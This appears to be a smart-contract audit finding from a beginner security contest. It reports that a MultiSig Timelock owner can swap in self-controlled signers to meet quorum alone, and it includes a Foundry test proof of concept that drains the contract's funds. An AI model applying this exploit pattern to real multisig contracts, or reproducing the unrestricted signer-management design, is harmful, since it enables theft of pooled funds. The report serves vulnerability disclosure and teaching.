MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: high
Likelihood: low

Owner Privilege Escalation

Author Revealed upon completion

Summary

One of the stated limitations is: "Cannot unilaterally execute transactions — still requires 2 additional confirmations (minimum 3-of-N)". However, the owner can bypass this protection by granting signing roles to addresses they control ("owner clones"), using those addresses to provide the additional confirmations, and then executing transactions alone.

Root cause

A multisig is intended to control funds using multiple independent addresses. The stated guarantee—"owner cannot unilaterally execute transactions (requires minimum 3-of-N)"—is undermined because the owner can both revoke and grant signing roles without independent approval. In practice the owner can:

  • revoke existing independent signers,

  • immediately grant signing roles to addresses they control (owner clones), and

  • use those owner-controlled addresses to provide the additional confirmations required for execution.

Because confirmations are tracked per address and there is no delay or multi-party approval for adding signers, the owner can temporarily inflate the signer set with addresses under their control and satisfy the quorum alone.

Impact

  • Counterparty risk: The owner can bypass multisig protections and unilaterally execute transactions.

  • Funds at risk: The owner can drain contract funds without independent co-signers.

  • Broken guarantees: The multisig quorum property (3-of-N) is effectively false in practice.

Proof of Concept

Textual PoC

  1. The multisig operates normally and holds funds.

  2. Owner revokes existing independent signers via revokeSigningRole().

  3. Owner adds two or more owner-controlled addresses via grantSigningRole().

  4. Owner proposes a transaction to transfer funds to an owner-controlled address. (value < 1 can bypass timelock)

  5. Owner and the owner-controlled addresses call confirmTransaction() to reach quorum, then executeTransaction() to drain funds.

Coded PoC

function test_poc() public {
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
//Fund MultiSigTimelock contract
uint256 initialFund = 0.5 ether;
vm.deal(address(multiSigTimelock), initialFund);
//OWNER grants signing role to two clone addresses
multiSigTimelock.revokeSigningRole(SIGNER_FOUR);
multiSigTimelock.revokeSigningRole(SIGNER_FIVE);
address OWNER_CLONE_ONE = makeAddr("owner_clone_one");
address OWNER_CLONE_TWO = makeAddr("owner_clone_two");
multiSigTimelock.grantSigningRole(OWNER_CLONE_ONE);
multiSigTimelock.grantSigningRole(OWNER_CLONE_TWO);
//Owner proposes a transaction to drain all funds to OWNER_CLONE_ONE
uint256 txIdOne = multiSigTimelock.proposeTransaction(
OWNER_CLONE_ONE,
initialFund,
""
);
//OWNER and owner-controlled clones confirm the transaction
multiSigTimelock.confirmTransaction(txIdOne);
vm.prank(OWNER_CLONE_ONE);
multiSigTimelock.confirmTransaction(txIdOne);
vm.prank(OWNER_CLONE_TWO);
multiSigTimelock.confirmTransaction(txIdOne);
//Drain funds
multiSigTimelock.executeTransaction(txIdOne);
//Restore previous signers (cleanup for the test)
multiSigTimelock.revokeSigningRole(OWNER_CLONE_ONE);
multiSigTimelock.revokeSigningRole(OWNER_CLONE_TWO);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
assertEq(address(multiSigTimelock).balance, 0);
assertEq(OWNER_CLONE_ONE.balance, initialFund);
}

Recommended mitigations

  1. Restrict immediate use of newly granted signers

  2. Limit owner privileges over signer set

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!